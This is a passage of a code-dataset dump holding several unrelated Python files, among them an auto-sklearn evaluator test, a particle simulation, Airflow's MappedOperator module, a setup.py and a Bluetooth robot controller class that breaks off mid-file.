autosklearn.evaluation.holdout_evaluator import HoldoutEvaluator\nfrom autosklearn.util.pipeline import get_configuration_space\n\nthis_directory = os.path.dirname(__file__)\nsys.path.append(this_directory)\nfrom evaluation_util import get_regression_datamanager, BaseEvaluatorTest, \\\n get_binary_classification_datamanager, get_dataset_getters\n\nN_TEST_RUNS = 10\n\n\nclass Dummy(object):\n def __init__(self):\n self.name = 'dummy'\n\n\nclass HoldoutEvaluatorTest(BaseEvaluatorTest):\n _multiprocess_can_split_ = True\n\n def teardown(self):\n try:\n shutil.rmtree(self.output_dir)\n except Exception:\n pass\n\n def test_file_output(self):\n self.output_dir = os.path.join(os.getcwd(), '.test')\n\n D = get_regression_datamanager()\n D.name = 'test'\n\n configuration_space = get_configuration_space(D.info)\n\n configuration = configuration_space.sample_configuration()\n evaluator = HoldoutEvaluator(D, self.output_dir, configuration,\n with_predictions=True,\n all_scoring_functions=True,\n output_y_test=True)\n\n loss, Y_optimization_pred, Y_valid_pred, Y_test_pred = \\\n evaluator.fit_predict_and_loss()\n evaluator.file_output(loss, Y_optimization_pred, Y_valid_pred,\n Y_test_pred)\n\n self.assertTrue(os.path.exists(os.path.join(\n self.output_dir, '.auto-sklearn', 'true_targets_ensemble.npy')))\n\n def test_predict_proba_binary_classification(self):\n self.output_dir = os.path.join(os.getcwd(),\n '.test_predict_proba_binary_classification')\n D = get_binary_classification_datamanager()\n\n class Dummy2(object):\n\n def predict_proba(self, y, batch_size=200):\n return np.array([[0.1, 0.9]] * 23)\n\n def fit(self, X, y):\n return self\n\n model = Dummy2()\n\n configuration_space = get_configuration_space(\n D.info,\n include_estimators=['extra_trees'],\n include_preprocessors=['select_rates'])\n configuration = configuration_space.sample_configuration()\n\n evaluator = HoldoutEvaluator(D, self.output_dir, configuration)\n evaluator.model = model\n loss, Y_optimization_pred, Y_valid_pred, Y_test_pred = \\\n evaluator.fit_predict_and_loss()\n\n for i in range(23):\n self.assertEqual(0.9, Y_optimization_pred[i][1])\n\n def test_datasets(self):\n for getter in get_dataset_getters():\n testname = '%s_%s' % (os.path.basename(__file__).\n replace('.pyc', '').replace('.py', ''),\n getter.__name__)\n with self.subTest(testname):\n D = getter()\n output_directory = os.path.join(os.getcwd(), '.%s' % testname)\n self.output_directory = output_directory\n\n err = np.zeros([N_TEST_RUNS])\n for i in range(N_TEST_RUNS):\n D_ = copy.deepcopy(D)\n evaluator = HoldoutEvaluator(D_, self.output_directory, None)\n\n err[i] = evaluator.fit_predict_and_loss()[0]\n\n self.assertTrue(np.isfinite(err[i]))\n","sub_path":"test/test_evaluation/test_holdout_evaluator.py","file_name":"test_holdout_evaluator.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"39614813","text":"a = int(input())\n\nb = list(map(int, input().split()))\n\nm = max(b)\nsum = 0\nfor i in range(a):\n b[i] = b[i] / m * 100\n sum += b[i]\nprint(sum / a)","sub_path":"codingTestStudy/20220619/평균.py","file_name":"평균.py","file_ext":"py","file_size_in_byte":149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"352980815","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_iris\nfrom sklearn.tree import DecisionTreeClassifier\nfrom matplotlib import cm as colormap\n\n# Paramètres\nn_classes = 3\nplot_colors = \"bry\" # blue-red-yellow\nplot_step = 0.5\n\n# Charger les données\niris = load_iris()\n\n# Choisir les attributs longueur et largeur des pétales\npair = [1, 2, 3]\n\n# Garder seulement les deux attributs\nX = iris.data[:, pair]\ny = iris.target\n# Apprentissage de l'arbre\nclf = DecisionTreeClassifier().fit(X, y)\n\n# Prediction\nx_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\ny_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\nz_min, z_max = X[:, 2].min() - 1, X[:, 2].max() + 1\nxx, yy, zz = np.meshgrid(np.arange(x_min, x_max, plot_step), \n\tnp.arange(y_min, y_max, plot_step),\n\tnp.arange(z_min, z_max, plot_step))\nZ = clf.predict(np.c_[xx.ravel(), yy.ravel(), zz.ravel()])\n\nresults = zip(xx.ravel(), yy.ravel(), zz.ravel(), Z.ravel())\n\nfrom mpl_toolkits.mplot3d import Axes3D\nfig = plt.figure()\nax = fig.gca(projection='3d')\n\ndef plot(i, r, m):\n\tarr = np.array(filter(lambda x:x[3]==i, r))\n\tax.scatter(arr[:, 0], arr[:, 1], zs=arr[:, 2], marker=m)\n\nplot(0, results, 'o')\nplot(1, results, 'v')\nplot(2, results, 'v')\nax.set_xlabel(iris.feature_names[pair[0]])\nax.set_ylabel(iris.feature_names[pair[1]])\nax.set_zlabel(iris.feature_names[pair[2]])\nplt.show()","sub_path":"rcp209/2017-03-02-tp3-arbres/ex3-iris.py","file_name":"ex3-iris.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"178298660","text":"import os\nimport os.path\nimport re\nfrom setuptools import setup\n\n\ndef get_info(var, pkg):\n \"\"\"Get version from the package.\"\"\"\n with open(os.path.join(pkg,'__init__.py')) as f:\n content = f.read()\n return re.search(var + r'\\s*=\\s*[\"\\'](.+?)[\"\\']', content).group(1)\n\n\ndef get_packages(package):\n \"\"\"\n Taken from https://github.com/tomchristie/django-rest-framework/blob/master/setup.py\n \"\"\"\n return [dirpath\n for dirpath, dirnames, filenames in os.walk(package)\n if os.path.exists(os.path.join(dirpath, '__init__.py'))]\n\n\nNAME = 'popular'\nVERSION = get_info('__version__', NAME)\nLICENSE = get_info('__license__', NAME)\n\n\nsetup(\n name=NAME,\n description=\"Minimalist social auth package.\",\n url=\"https://github.com/ryannjohnson/popular-python\",\n author=\"Ryan N Johnson\",\n author_email=\"ryan@ryannjohnson.com\",\n license=LICENSE,\n version=VERSION,\n packages=get_packages(NAME),\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n ],\n install_requires=[\n 'requests>=2.14.2',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"138598883","text":"# -*- coding: utf-8 -*-\nfrom math import sqrt\nfrom tkGraphPad import *\nfrom geom import *\nimport random\n\n#___________________ GLOBALS ___________________________#\nEPSILON = 0.00000001\nRAYON = 0.1\n\n#___________________ UTILS _____________________________#\ndef distPM(M1,M2) :\n\treturn distance(M1.pos,M2.pos)\n\n# __________________ COLLISIONS ________________________#\n\ndef detectCollisions(M):\n\tcol = False\n\tif((M.pos.y + M.h) < 0):\n\t\tM.pos.y = 0\n\t\tM.v.y = - M.v.y\n\t\tcol = True\n\t\t\n\tif((M.pos.y + M.h) > 5):\n\t\tM.pos.y = 5\n\t\tM.v.y = - M.v.y\n\t\tcol = True\n\t\t\n\tif((M.pos.x + M.h) < 0):\n\t\tM.pos.x = 0\n\t\tM.v.x = - M.v.x\n\t\tcol = True\n\t\n\tif((M.pos.x + M.h) > 10):\n\t\tM.pos.x = 10\n\t\tM.v.x = - M.v.x\n\t\tcol = True\n\n#____________________ CLASSES __________________________#\n\n# PARTICULES\n\nclass PMat():\n\t# masse, position, vitesse, acceleration, couleur, rayon\n\tdef __init__(self, m, pos, v, a, h=0, color=\"red\", ray=RAYON):\n\t\tself.m = m\n\t\tself.pos = pos\n\t\tself.v = v\n\t\tself.a = a\n\t\tself.color = color\n\t\tself.ray = ray\n\t\tself.h = h\n\n\tdef draw(self):\n\t\twin.graphpad.fillcircle(self.pos, self.ray, self.color)\n\t\t\n\t\t\nclass PointFixe(PMat):\n\tdef __init__(self, pos, color=\"red\", ray=RAYON):\n\t\tPMat.__init__(self, 0.005, pos, 0, 0, 0, color, ray)\n\t\tself.frc = Vecteur(0,0)\n\nclass Particule(PMat):\n\tdef __init__(self, m, pos, v, a, h=0, color=\"red\", ray=RAYON):\n\t\tPMat.__init__(self, m, pos, v, a, h, color, ray)\n\t\tself.frc = Vecteur(0, 0)\n\t\t\n\tdef setup(self) :\n\t\tself.v += (self.h / self.m) * self.frc\n\t\tself.pos += self.h * self.v\n\t\tself.frc = Vecteur(0,0)\n\t\n\n# LIAISONS\n\nclass Liaison():\n\tdef __init__(self, M1, M2, color):\n\t\tself.M1 = M1\n\t\tself.M2 = M2\n\t\tself.frc = Vecteur(0., 0.)\n\t\tself.color = color\n\t\tif M1 != None and M2 != None:\n\t\t\tself.l = distPM(M1, M2)\n\t\t\n\tdef setup(self):\n\t\tif self.M1: self.M1.frc += self.frc\n\t\tif self.M2: self.M2.frc -= self.frc\n\t\t\n\tdef draw(self): \n\t\tif self.color == None : return\n\t\tline(self.M1.pos, self.M2.pos, self.color, 1)\n\nclass Ressort(Liaison) :\n\tdef __init__(self, M1, M2, k, color=None):\n\t\tLiaison.__init__(self, M1, M2, color)\n\t\tself.k = k\n\n\tdef setup(self):\n\t\tglobal EPSILON\n\t\td = max(EPSILON, distPM(self.M1, self.M2)) \n\t\te = (1. - self.l / d)\n\n\t\tself.frc = self.k * e * (Vecteur(self.M1.pos, self.M2.pos))\n\t\tLiaison.setup(self)\n\nclass ParticlesSystem(Liaison) :\n\tdef __init__(self, M1, M2, k, color=None):\n\t\tLiaison.__init__(self, M1, M2, color)\n\t\tself.k = k\n\n\tdef setup(self):\n\t\tglobal EPSILON\n\t\td = max(EPSILON, distPM(self.M1, self.M2)) \n\t\tif(d <= 2*self.M2.ray):\n\t\t\tself.l = self.M2.ray/2\n\t\t\te = (1. - self.l / d)\n\n\t\t\tself.frc = -self.k * e * (Vecteur(self.M1.pos, self.M2.pos))\n\t\t\tLiaison.setup(self)\n\nclass Gravite(Liaison) :\n\tdef __init__(self, M, frc):\n\t\tLiaison.__init__(self, M, None, None)\n\t\tself.frc = frc\n\t \n\tdef setup(self):\n\t\tLiaison.setup(self)\n\n#____________________FONCTIONS ____________________#\n\n#==========================\n# Modeleur : Construction -- \"statique\"\ndef Modeleur() :\n\t''' '''\n\n\tparticules = []\n\tfor i in range(60):\n\t\tx = random.uniform(2*RAYON, maxX-2*RAYON)\n\t\tvX = random.uniform(0.5, 2)\n\t\tvY = random.uniform(0.5, 2)\n\t\tparticules.append(Particule(m=1, pos=Point(x, maxY/2), v=Vecteur(vX, vY), a=0, h=0.001, color=random.choice(colors)))\n\t\n\tpoints = []\n\tpoints.extend(particules)\n\t\n\tliaisons = []\n\tfor p1 in particules:\n\t\tfor p2 in points:\n\t\t\tliaisons.append(ParticlesSystem(p1, p2, k=5000, color=None))\n\t\t\n\t\tliaisons.append(Gravite(p1, G))\n\t\t\n\n\treturn points, liaisons\n \n#==========================\n# fonction animatrice\ndef anim():\n\t\"\"\"fonction animatrice\"\"\" \n \n\tfor p in points:\n\t\tif isinstance(p, Particule):\n\t\t\tp.setup()\n\t\t\tdetectCollisions(p)\n \n\tfor l in liaisons:\n\t\tl.setup()\n\n \n#==========================\n# fonction de dessin\ndef draw():\n \"\"\"fonction de dessin\"\"\"\n win.clear() # nettoyage\n \n # Draw points\n for p in points:\n p.draw()\n \n for l in liaisons:\n l.draw()\n\n#____________________PRINCIPAL ____________________#\nif __name__ == '__main__':\n#==========================\n\n # Démarrage du réceptionnaire d'evenements :\n win=MainWindow(\"TP4\",900,450,\"black\")\n \n maxX = 10\n maxY = 5\n win.SetDrawZone(0,0,maxX,maxY)\n\n g = 10\n G = Vecteur(0, -g)\n #colors = ('red', 'green', 'blue', 'yellow', 'magenta', 'cyan')\n colors = ('aliceblue', 'aquamarine', 'cadetblue', 'cornflowerblue', 'snow',\n\t\t\t'darkcyan', 'dodgerblue', 'deepskyblue', 'lightblue', 'lightcyan',\n\t\t\t'mediumturquoise', 'royalblue', 'skyblue', 'steelblue', 'turquoise',\n\t\t\t'teal', 'silver', 'powderblue', 'paleturquoise', 'mintcream', \n\t\t\t'mediumaquamarine', 'lightsteelblue', 'lightskyblue')\n \n \n points, liaisons = Modeleur() \n \n win.anim=anim \n win.draw=draw\n win.startmainloop()\n","sub_path":"projet.py","file_name":"projet.py","file_ext":"py","file_size_in_byte":4692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"482071587","text":"#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nimport datetime\nimport unittest.mock\nimport warnings\nfrom typing import (\n TYPE_CHECKING,\n Any,\n ClassVar,\n Collection,\n Dict,\n FrozenSet,\n Iterable,\n List,\n Optional,\n Sequence,\n Set,\n Tuple,\n Type,\n Union,\n)\n\nimport attr\nimport pendulum\nfrom sqlalchemy import func, or_\nfrom sqlalchemy.orm.session import Session\n\nfrom airflow.compat.functools import cache\nfrom airflow.models.abstractoperator import (\n DEFAULT_OWNER,\n DEFAULT_POOL_SLOTS,\n DEFAULT_PRIORITY_WEIGHT,\n DEFAULT_QUEUE,\n DEFAULT_RETRIES,\n DEFAULT_RETRY_DELAY,\n DEFAULT_TRIGGER_RULE,\n DEFAULT_WEIGHT_RULE,\n AbstractOperator,\n TaskStateChangeCallback,\n)\nfrom airflow.models.pool import Pool\nfrom airflow.models.xcom_arg import XComArg\nfrom airflow.serialization.enums import DagAttributeTypes\nfrom airflow.ti_deps.deps.base_ti_dep import BaseTIDep\nfrom airflow.ti_deps.deps.mapped_task_expanded import MappedTaskIsExpanded\nfrom airflow.utils.operator_resources import Resources\nfrom airflow.utils.session import NEW_SESSION\nfrom airflow.utils.state import State, TaskInstanceState\nfrom airflow.utils.task_group import TaskGroup\nfrom airflow.utils.trigger_rule import TriggerRule\n\nif TYPE_CHECKING:\n from airflow.models.baseoperator import BaseOperator, BaseOperatorLink\n from airflow.models.dag import DAG\n from airflow.models.taskinstance import TaskInstance\n\n\ndef validate_mapping_kwargs(op: Type[\"BaseOperator\"], func: str, value: Dict[str, Any]) -> None:\n # use a dict so order of args is same as code order\n unknown_args = value.copy()\n for klass in op.mro():\n init = klass.__init__ # type: ignore\n try:\n param_names = init._BaseOperatorMeta__param_names\n except AttributeError:\n continue\n for name in param_names:\n unknown_args.pop(name, None)\n if not unknown_args:\n return # If we have no args left ot check: stop looking at the MRO chian.\n\n if len(unknown_args) == 1:\n error = f\"unexpected keyword argument {unknown_args.popitem()[0]!r}\"\n else:\n names = \", \".join(repr(n) for n in unknown_args)\n error = f\"unexpected keyword arguments {names}\"\n raise TypeError(f\"{op.__name__}.{func}() got {error}\")\n\n\ndef prevent_duplicates(kwargs1: Dict[str, Any], kwargs2: Dict[str, Any], *, fail_reason: str) -> None:\n duplicated_keys = set(kwargs1).intersection(kwargs2)\n if not duplicated_keys:\n return\n if len(duplicated_keys) == 1:\n raise TypeError(f\"{fail_reason} argument: {duplicated_keys.pop()}\")\n duplicated_keys_display = \", \".join(sorted(duplicated_keys))\n raise TypeError(f\"{fail_reason} arguments: {duplicated_keys_display}\")\n\n\n@attr.define(kw_only=True, repr=False)\nclass OperatorPartial:\n \"\"\"An \"intermediate state\" returned by ``BaseOperator.partial()``.\n\n This only exists at DAG-parsing time; the only intended usage is for the\n user to call ``.map()`` on it at some point (usually in a method chain) to\n create a ``MappedOperator`` to add into the DAG.\n \"\"\"\n\n operator_class: Type[\"BaseOperator\"]\n kwargs: Dict[str, Any]\n\n _map_called: bool = False # Set when map() is called to ease user debugging.\n\n def __attrs_post_init__(self):\n from airflow.operators.subdag import SubDagOperator\n\n if issubclass(self.operator_class, SubDagOperator):\n raise TypeError(\"Mapping over deprecated SubDagOperator is not supported\")\n validate_mapping_kwargs(self.operator_class, \"partial\", self.kwargs)\n\n def __repr__(self) -> str:\n args = \", \".join(f\"{k}={v!r}\" for k, v in self.kwargs.items())\n return f\"{self.operator_class.__name__}.partial({args})\"\n\n def __del__(self):\n if not self._map_called:\n warnings.warn(f\"{self!r} was never mapped!\")\n\n def map(self, **mapped_kwargs) -> \"MappedOperator\":\n from airflow.operators.dummy import DummyOperator\n\n validate_mapping_kwargs(self.operator_class, \"map\", mapped_kwargs)\n\n partial_kwargs = self.kwargs.copy()\n task_id = partial_kwargs.pop(\"task_id\")\n params = partial_kwargs.pop(\"params\")\n dag = partial_kwargs.pop(\"dag\")\n task_group = partial_kwargs.pop(\"task_group\")\n start_date = partial_kwargs.pop(\"start_date\")\n end_date = partial_kwargs.pop(\"end_date\")\n\n operator = MappedOperator(\n operator_class=self.operator_class,\n mapped_kwargs=mapped_kwargs,\n partial_kwargs=partial_kwargs,\n task_id=task_id,\n params=params,\n deps=MappedOperator.deps_for(self.operator_class),\n operator_extra_links=self.operator_class.operator_extra_links,\n template_ext=self.operator_class.template_ext,\n template_fields=self.operator_class.template_fields,\n ui_color=self.operator_class.ui_color,\n ui_fgcolor=self.operator_class.ui_fgcolor,\n is_dummy=issubclass(self.operator_class, DummyOperator),\n task_module=self.operator_class.__module__,\n task_type=self.operator_class.__name__,\n dag=dag,\n task_group=task_group,\n start_date=start_date,\n end_date=end_date,\n )\n self._map_called = True\n return operator\n\n\n@attr.define(kw_only=True)\nclass MappedOperator(AbstractOperator):\n \"\"\"Object representing a mapped operator in a DAG.\"\"\"\n\n operator_class: Union[Type[\"BaseOperator\"], str]\n mapped_kwargs: Dict[str, Any]\n partial_kwargs: Dict[str, Any]\n\n # Needed for serialization.\n task_id: str\n params: Optional[dict]\n deps: FrozenSet[BaseTIDep]\n operator_extra_links: Collection[\"BaseOperatorLink\"]\n template_ext: Collection[str]\n template_fields: Collection[str]\n ui_color: str\n ui_fgcolor: str\n _is_dummy: bool\n _task_module: str\n _task_type: str\n\n dag: Optional[\"DAG\"]\n task_group: Optional[TaskGroup]\n start_date: Optional[pendulum.DateTime]\n end_date: Optional[pendulum.DateTime]\n upstream_task_ids: Set[str] = attr.ib(factory=set, init=False)\n downstream_task_ids: Set[str] = attr.ib(factory=set, init=False)\n\n is_mapped: ClassVar[bool] = True\n subdag: None = None # Since we don't support SubDagOperator, this is always None.\n\n def __repr__(self):\n return f\"<Mapped({self._task_type}): {self.task_id}>\"\n\n def __attrs_post_init__(self):\n prevent_duplicates(self.partial_kwargs, self.mapped_kwargs, fail_reason=\"mapping already partial\")\n self._validate_argument_count()\n if self.task_group:\n self.task_group.add(self)\n if self.dag:\n self.dag.add_task(self)\n for k, v in self.mapped_kwargs.items():\n if k in self.template_fields:\n XComArg.apply_upstream_relationship(self, v)\n for k, v in self.partial_kwargs.items():\n if k in self.template_fields:\n XComArg.apply_upstream_relationship(self, v)\n\n @classmethod\n @cache\n def get_serialized_fields(cls):\n # Not using 'cls' here since we only want to serialize base fields.\n return frozenset(attr.fields_dict(MappedOperator)) - {\n \"dag\",\n \"deps\",\n \"is_mapped\",\n \"subdag\",\n \"task_group\",\n \"upstream_task_ids\",\n }\n\n @staticmethod\n @cache\n def deps_for(operator_class: Type[\"BaseOperator\"]) -> FrozenSet[BaseTIDep]:\n return operator_class.deps | {MappedTaskIsExpanded()}\n\n def _validate_argument_count(self) -> None:\n \"\"\"Validate mapping arguments by unmapping with mocked values.\n\n This ensures the user passed enough arguments in the DAG definition for\n the operator to work in the task runner. This does not guarantee the\n arguments are *valid* (that depends on the actual mapping values), but\n makes sure there are *enough* of them.\n \"\"\"\n if isinstance(self.operator_class, str):\n return # No need to validate deserialized operator.\n operator = self._create_unmapped_operator(\n mapped_kwargs={k: unittest.mock.MagicMock(name=k) for k in self.mapped_kwargs},\n partial_kwargs=self.partial_kwargs,\n real=False,\n )\n if operator.task_group:\n operator.task_group._remove(operator)\n dag = operator.get_dag()\n if dag:\n dag._remove_task(operator.task_id)\n\n @property\n def task_type(self) -> str:\n \"\"\"Implementing Operator.\"\"\"\n return self._task_type\n\n @property\n def inherits_from_dummy_operator(self) -> bool:\n \"\"\"Implementing Operator.\"\"\"\n return self._is_dummy\n\n @property\n def roots(self) -> Sequence[AbstractOperator]:\n \"\"\"Implementing DAGNode.\"\"\"\n return [self]\n\n @property\n def leaves(self) -> Sequence[AbstractOperator]:\n \"\"\"Implementing DAGNode.\"\"\"\n return [self]\n\n @property\n def owner(self) -> str: # type: ignore[override]\n return self.partial_kwargs.get(\"owner\", DEFAULT_OWNER)\n\n @property\n def email(self) -> Union[None, str, Iterable[str]]:\n return self.partial_kwargs.get(\"email\")\n\n @property\n def trigger_rule(self) -> TriggerRule:\n return self.partial_kwargs.get(\"trigger_rule\", DEFAULT_TRIGGER_RULE)\n\n @property\n def depends_on_past(self) -> bool:\n return bool(self.partial_kwargs.get(\"depends_on_past\"))\n\n @property\n def wait_for_downstream(self) -> bool:\n return bool(self.partial_kwargs.get(\"wait_for_downstream\"))\n\n @property\n def retries(self) -> Optional[int]:\n return self.partial_kwargs.get(\"retries\", DEFAULT_RETRIES)\n\n @property\n def queue(self) -> str:\n return self.partial_kwargs.get(\"queue\", DEFAULT_QUEUE)\n\n @property\n def pool(self) -> str:\n return self.partial_kwargs.get(\"pool\", Pool.DEFAULT_POOL_NAME)\n\n @property\n def pool_slots(self) -> Optional[str]:\n return self.partial_kwargs.get(\"pool_slots\", DEFAULT_POOL_SLOTS)\n\n @property\n def execution_timeout(self) -> Optional[datetime.timedelta]:\n return self.partial_kwargs.get(\"execution_timeout\")\n\n @property\n def retry_delay(self) -> datetime.timedelta:\n return self.partial_kwargs.get(\"retry_delay\", DEFAULT_RETRY_DELAY)\n\n @property\n def retry_exponential_backoff(self) -> bool:\n return bool(self.partial_kwargs.get(\"retry_exponential_backoff\"))\n\n @property\n def priority_weight(self) -> int: # type: ignore[override]\n return self.partial_kwargs.get(\"priority_weight\", DEFAULT_PRIORITY_WEIGHT)\n\n @property\n def weight_rule(self) -> int: # type: ignore[override]\n return self.partial_kwargs.get(\"weight_rule\", DEFAULT_WEIGHT_RULE)\n\n @property\n def sla(self) -> Optional[datetime.timedelta]:\n return self.partial_kwargs.get(\"sla\")\n\n @property\n def max_active_tis_per_dag(self) -> Optional[int]:\n return self.partial_kwargs.get(\"max_active_tis_per_dag\")\n\n @property\n def resources(self) -> Optional[Resources]:\n return self.partial_kwargs.get(\"resources\")\n\n @property\n def on_execute_callback(self) -> Optional[TaskStateChangeCallback]:\n return self.partial_kwargs.get(\"on_execute_callback\")\n\n @property\n def on_failure_callback(self) -> Optional[TaskStateChangeCallback]:\n return self.partial_kwargs.get(\"on_failure_callback\")\n\n @property\n def on_retry_callback(self) -> Optional[TaskStateChangeCallback]:\n return self.partial_kwargs.get(\"on_retry_callback\")\n\n @property\n def on_success_callback(self) -> Optional[TaskStateChangeCallback]:\n return self.partial_kwargs.get(\"on_success_callback\")\n\n @property\n def run_as_user(self) -> Optional[str]:\n return self.partial_kwargs.get(\"run_as_user\")\n\n @property\n def executor_config(self) -> dict:\n return self.partial_kwargs.get(\"run_as_user\", {})\n\n @property\n def inlets(self) -> Optional[Any]:\n return self.partial_kwargs.get(\"inlets\", None)\n\n @property\n def outlets(self) -> Optional[Any]:\n return self.partial_kwargs.get(\"outlets\", None)\n\n def get_dag(self) -> Optional[\"DAG\"]:\n \"\"\"Implementing Operator.\"\"\"\n return self.dag\n\n def serialize_for_task_group(self) -> Tuple[DagAttributeTypes, Any]:\n \"\"\"Implementing DAGNode.\"\"\"\n return DagAttributeTypes.OP, self.task_id\n\n def _create_unmapped_operator(\n self,\n *,\n mapped_kwargs: Dict[str, Any],\n partial_kwargs: Dict[str, Any],\n real: bool,\n ) -> \"BaseOperator\":\n assert not isinstance(self.operator_class, str)\n return self.operator_class(\n task_id=self.task_id,\n dag=self.dag,\n task_group=self.task_group,\n params=self.params,\n start_date=self.start_date,\n end_date=self.end_date,\n _airflow_map_validation=not real,\n **mapped_kwargs,\n **partial_kwargs,\n )\n\n def unmap(self) -> \"BaseOperator\":\n \"\"\"Get the \"normal\" Operator after applying the current mapping\"\"\"\n dag = self.dag\n if not dag:\n raise RuntimeError(\"Cannot unmap a task without a DAG\")\n dag._remove_task(self.task_id)\n return self._create_unmapped_operator(\n mapped_kwargs=self.mapped_kwargs,\n partial_kwargs=self.partial_kwargs,\n real=True,\n )\n\n def expand_mapped_task(\n self,\n upstream_ti: \"TaskInstance\",\n session: Session = NEW_SESSION,\n ) -> Sequence[\"TaskInstance\"]:\n \"\"\"Create the mapped task instances for mapped task.\n\n :return: The mapped task instances, in ascending order by map index.\n \"\"\"\n # TODO: support having multiuple mapped upstreams?\n from airflow.models.taskinstance import TaskInstance\n from airflow.models.taskmap import TaskMap\n from airflow.settings import task_instance_mutation_hook\n\n task_map_info_length: Optional[int] = (\n session.query(TaskMap.length)\n .filter_by(\n dag_id=upstream_ti.dag_id,\n task_id=upstream_ti.task_id,\n run_id=upstream_ti.run_id,\n map_index=upstream_ti.map_index,\n )\n .scalar()\n )\n if task_map_info_length is None:\n # TODO: What would lead to this? How can this be better handled?\n raise RuntimeError(\"mapped operator cannot be expanded; upstream not found\")\n\n state = None\n unmapped_ti: Optional[TaskInstance] = (\n session.query(TaskInstance)\n .filter(\n TaskInstance.dag_id == upstream_ti.dag_id,\n TaskInstance.run_id == upstream_ti.run_id,\n TaskInstance.task_id == self.task_id,\n TaskInstance.map_index == -1,\n or_(TaskInstance.state.in_(State.unfinished), TaskInstance.state.is_(None)),\n )\n .one_or_none()\n )\n\n ret: List[TaskInstance] = []\n\n if unmapped_ti:\n # The unmapped task instance still exists and is unfinished, i.e. we\n # haven't tried to run it before.\n if task_map_info_length < 1:\n # If the upstream maps this to a zero-length value, simply marked the\n # unmapped task instance as SKIPPED (if needed).\n self.log.info(\"Marking %s as SKIPPED since the map has 0 values to expand\", unmapped_ti)\n unmapped_ti.state = TaskInstanceState.SKIPPED\n session.flush()\n return ret\n # Otherwise convert this into the first mapped index, and create\n # TaskInstance for other indexes.\n unmapped_ti.map_index = 0\n state = unmapped_ti.state\n self.log.debug(\"Updated in place to become %s\", unmapped_ti)\n ret.append(unmapped_ti)\n indexes_to_map = range(1, task_map_info_length)\n else:\n # Only create \"missing\" ones.\n current_max_mapping = (\n session.query(func.max(TaskInstance.map_index))\n .filter(\n TaskInstance.dag_id == upstream_ti.dag_id,\n TaskInstance.task_id == self.task_id,\n TaskInstance.run_id == upstream_ti.run_id,\n )\n .scalar()\n )\n indexes_to_map = range(current_max_mapping + 1, task_map_info_length)\n\n for index in indexes_to_map:\n # TODO: Make more efficient with bulk_insert_mappings/bulk_save_mappings.\n # TODO: Change `TaskInstance` ctor to take Operator, not BaseOperator\n ti = TaskInstance(self, run_id=upstream_ti.run_id, map_index=index, state=state) # type: ignore\n self.log.debug(\"Expanding TIs upserted %s\", ti)\n task_instance_mutation_hook(ti)\n ret.append(session.merge(ti))\n\n # Set to \"REMOVED\" any (old) TaskInstances with map indices greater\n # than the current map value\n session.query(TaskInstance).filter(\n TaskInstance.dag_id == upstream_ti.dag_id,\n TaskInstance.task_id == self.task_id,\n TaskInstance.run_id == upstream_ti.run_id,\n TaskInstance.map_index >= task_map_info_length,\n ).update({TaskInstance.state: TaskInstanceState.REMOVED})\n\n session.flush()\n\n return ret\n","sub_path":"airflow/models/mappedoperator.py","file_name":"mappedoperator.py","file_ext":"py","file_size_in_byte":18307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"243280714","text":"import asyncio\nfrom constants import Descriptors, ACK_VALUE, Commands, getCommandName\nfrom threading import Lock\nimport time\n\n\nclass DuplicateBackendError(Exception):\n pass\n\n\nclass Robot:\n def __init__(self, btif=None, pygatt=False, bleak=False):\n self.bt_interface = btif\n self.pygatt = pygatt\n self.bleak = bleak\n if(pygatt and bleak):\n raise DuplicateBackendError(\n \"Cannot use pygatt and bleak backends concurrently\")\n self.messageQueue = list()\n self.theLock = Lock()\n self.mValues = {\"left\": 0, \"right\": 0}\n self.lastTime = time.time()\n self.keyStatus = {\"up\": False, \"down\": False,\n \"left\": False, \"right\": False}\n self.updateFlag = False\n if self.bleak:\n self.sendMessage = self.__bleak_sendMessage\n self.ping = self.__bleak_ping\n self.testByteStream = self.__bleak_testByteStream\n self.sendCommand = self.__bleak_sendCommand\n if self.pygatt:\n self.sendMessage = self.__pygatt_sendMessage\n\n async def __bleak_sendCommand(self, cmd, length=0, data=bytearray([])):\n await self.bt_interface.write_gatt_char(\n Descriptors[\"RX_CHAR_UUID\"].value,\n bytearray([cmd.value, length]) + data)\n\n def setKey(self, key):\n try:\n prev = self.keyStatus[key]\n self.keyStatus[key] = True\n if not prev:\n self.keyboardUpdate()\n except KeyError:\n pass\n\n def unsetKey(self, key):\n try:\n prev = self.keyStatus[key]\n self.keyStatus[key] = False\n if prev:\n self.keyboardUpdate()\n except KeyError:\n pass\n\n async def __bleak_sendMessage(self, msg):\n await self.bt_interface.write_gatt_char(\n Descriptors[\"RX_CHAR_UUID\"].value,\n bytearray([Commands.SER_RX.value, len(msg) + 1]) +\n msg.encode() + b'\\x00')\n\n async def __bleak_ping(self):\n self.now = time.time()\n await self.bt_interface.write_gatt_char(\n Descriptors[\"RX_CHAR_UUID\"].value,\n bytearray([Commands.PING.value] + 